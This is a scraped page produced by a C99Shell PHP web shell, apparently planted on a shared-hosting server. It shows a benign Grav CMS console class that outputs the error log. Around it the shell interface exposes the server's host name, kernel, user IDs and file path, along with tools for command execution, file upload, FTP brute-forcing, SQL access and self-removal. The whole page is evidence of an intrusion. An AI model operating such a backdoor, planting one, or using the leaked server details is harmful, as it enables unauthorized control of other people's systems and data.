!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/docs/plugins/error/cli/   drwxr-xr-x
Free 181.41 GB of 490.84 GB (36.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LogCommand.php (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Grav\Plugin\Console;

use 
Grav\Console\ConsoleCommand;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

/**
 * Class LogCommand
 *
 * @package Grav\Plugin\Console
 */
class LogCommand extends ConsoleCommand
{
    
/**
     * @var string
     */
    
protected $logfile;
    
/**
     * @var array
     */
    
protected $options = [];
    
/**
     * @var array
     */
    
protected $colors = [
        
'DEBUG'     => 'green',
        
'INFO'      => 'cyan',
        
'NOTICE'    => 'yellow',
        
'WARNING'   => 'yellow',
        
'ERROR'     => 'red',
        
'CRITICAL'  => 'red',
        
'ALERT'     => 'red',
        
'EMERGENCY' => 'magenta'
    
];

    
/**
     *
     */
    
protected function configure()
    {
        
$this->logfile LOG_DIR 'grav.log';
        
$this
            
->setName("log")
            ->
setDescription("Outputs the Error Log")
            ->
addOption(
                
'trace',
                
't',
                
InputOption::VALUE_NONE,
                
'Include the errors stack trace in the output'
            
)
            ->
addOption(
                
'limit',
                
'l',
                
InputArgument::OPTIONAL,
                
'Outputs only the last X amount of errors. Use as --limit 10 / -l 10 [default 5]',
                
5
            
)
            ->
setHelp('The <info>log</info> outputs the Errors Log in Console')
        ;
    }

    
/**
     * @return int|null|void
     */
    
protected function serve()
    {
        
$this->options = [
            
'trace' => $this->input->getOption('trace'),
            
'limit' => $this->input->getOption('limit')
        ];

        if (!
file_exists($this->logfile)) {
            
$this->output->writeln("\n" "Log file not found." "\n");
            exit;
        }

        
$log   file_get_contents($this->logfile);
        
$lines explode("\n"$log);

        if (!
is_numeric($this->options['limit'])) {
            
$this->options['limit'] = 5;
        }

        
$lines array_slice($lines, -($this->options['limit'] + 1));

        foreach (
$lines as $line) {
            
$this->output->writeln($this->parseLine($line));
        }
    }

    
/**
     * @param $line
     *
     * @return null|string
     */
    
protected function parseLine($line)
    {
        
$bit   explode(': '$line);
        
$line1 explode('] '$bit[0]);

        if (!
$line1[0]) {
            return 
null;
        }

        
$line2 explode(' - '$bit[1]);

        
$date  $line1[0] . ']';
        
$type  str_replace('grav.'''$line1[1]);
        
$color $this->colors[$type];
        
$error $line2[0];
        
$trace implode(': 'array_slice($bit2));

        
$output = [];

        
$output[] = '';
        
$output[] = '<cyan>' $date '</cyan>';
        
$output[] = sprintf('  <%s>%s</%s> <white>' $error '</white>'$color$type$color);

        if (
$this->options['trace']) {
            
$output[] = '  <white>TRACE:</white> ';
            
$output[] = '  ' $trace;
        }

        
$output[] = '<cyan>' str_repeat('-'strlen($date)) . '</cyan>';

        return 
implode("\n"$output);
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.099 ]--